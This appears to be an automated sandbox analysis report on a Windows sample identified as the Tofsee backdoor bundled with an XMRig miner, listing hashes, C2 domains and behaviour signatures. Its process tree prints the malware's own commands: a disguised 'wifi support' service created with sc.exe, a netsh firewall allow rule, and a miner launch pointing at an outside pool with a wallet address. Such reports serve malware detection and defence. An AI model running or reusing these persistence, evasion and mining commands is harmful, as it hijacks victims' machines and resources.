Overview

overview

10

Static

static

10

96baba74a9...72.exe

windows7-x64

10

96baba74a9...72.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/12/2022, 14:22

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General

  • Target

    96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72.exe

  • Size

    71KB

  • MD5

    92e466525e810b79ae23eac344a52027

  • SHA1

    911584e1b90847e96e2c4434cefa16bd9e9dff70

  • SHA256

    96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72

  • SHA512

    d914c3f428bb4a830fa92c1098206618d3ba2caf8fc2586b33270f9a2f96a0271763b53fb12965901c5eb84602c4cdfb718a14c699f15f1e0c9ed7d1e64ba208

  • SSDEEP

    1536:6k6s21VCn63TxSYWz+XTjFWL9ydpIcUc:6PVCnQxSYO+XF3pIH

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72.exe
    "C:\Users\Admin\AppData\Local\Temp\96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sphsvazr\
      2⤵
        PID:2912
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\uoevywzi.exe" C:\Windows\SysWOW64\sphsvazr\
        2⤵
          PID:2640
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sphsvazr binPath= "C:\Windows\SysWOW64\sphsvazr\uoevywzi.exe /d\"C:\Users\Admin\AppData\Local\Temp\96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3620
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sphsvazr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sphsvazr
          2⤵
          • Launches sc.exe
          PID:4840
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3024
      • C:\Windows\SysWOW64\sphsvazr\uoevywzi.exe
        C:\Windows\SysWOW64\sphsvazr\uoevywzi.exe /d"C:\Users\Admin\AppData\Local\Temp\96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:840
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4560
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1908

      Network

      MITRE ATT&CK Enterprise v6

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\uoevywzi.exe
        Filesize

        14.7MB

        MD5

        9e9930974a408c0164a230cb40c726ce

        SHA1

        e0a4f1c4e719c6f3cc00cff568c522e1673255c4

        SHA256

        1b2552de8f970754b9fdb5d2807e95474f4ef3850165d7826a3dd6db9565258a

        SHA512

        33a49c336181acc037ebeb25f3039023092b659b5d38656bd1d5deddd2133ecb0bd2ed99490304fb2a6589d7ebf1fea0dee7c8792cd100790ad334fc13a3d1b7

        Download Submit

      • C:\Windows\SysWOW64\sphsvazr\uoevywzi.exe
        Filesize

        14.7MB

        MD5

        9e9930974a408c0164a230cb40c726ce

        SHA1

        e0a4f1c4e719c6f3cc00cff568c522e1673255c4

        SHA256

        1b2552de8f970754b9fdb5d2807e95474f4ef3850165d7826a3dd6db9565258a

        SHA512

        33a49c336181acc037ebeb25f3039023092b659b5d38656bd1d5deddd2133ecb0bd2ed99490304fb2a6589d7ebf1fea0dee7c8792cd100790ad334fc13a3d1b7

        Download Submit

      • memory/1908-170-0x0000000000E80000-0x0000000000F71000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1908-165-0x0000000000E80000-0x0000000000F71000-memory.dmp

        Filesize

        964KB

        Download

      • memory/4560-155-0x00000000017E0000-0x00000000017E5000-memory.dmp

        Filesize

        20KB

        Download

      • memory/4560-144-0x00000000001C0000-0x00000000001D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/4560-145-0x00000000001C0000-0x00000000001D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/4560-146-0x0000000002000000-0x000000000220F000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/4560-149-0x0000000001740000-0x0000000001746000-memory.dmp

        Filesize

        24KB

        Download

      • memory/4560-152-0x0000000001750000-0x0000000001760000-memory.dmp

        Filesize

        64KB

        Download

      • memory/4560-141-0x00000000001C0000-0x00000000001D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/4560-158-0x0000000006F80000-0x000000000738B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/4560-161-0x00000000017F0000-0x00000000017F7000-memory.dmp

        Filesize

        28KB

        Download